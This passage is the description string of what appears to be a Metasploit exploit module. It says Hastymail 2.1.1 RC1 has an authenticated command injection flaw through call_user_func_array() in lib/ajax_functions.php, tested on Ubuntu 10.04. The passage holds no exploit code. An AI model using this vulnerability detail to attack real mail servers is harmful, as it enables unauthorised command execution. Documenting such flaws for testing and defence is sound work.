'Description' => %q{
|
|
This module exploits a command injection vulnerability found in Hastymail
|
|
2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on
|
|
the "lib/ajax_functions.php" script. Authentication is required on Hastymail
|
|
in order to exploit the vulnerability. The module has been successfully tested
|
|
on Hastymail 2.1.1 RC1 over Ubuntu 10.04.
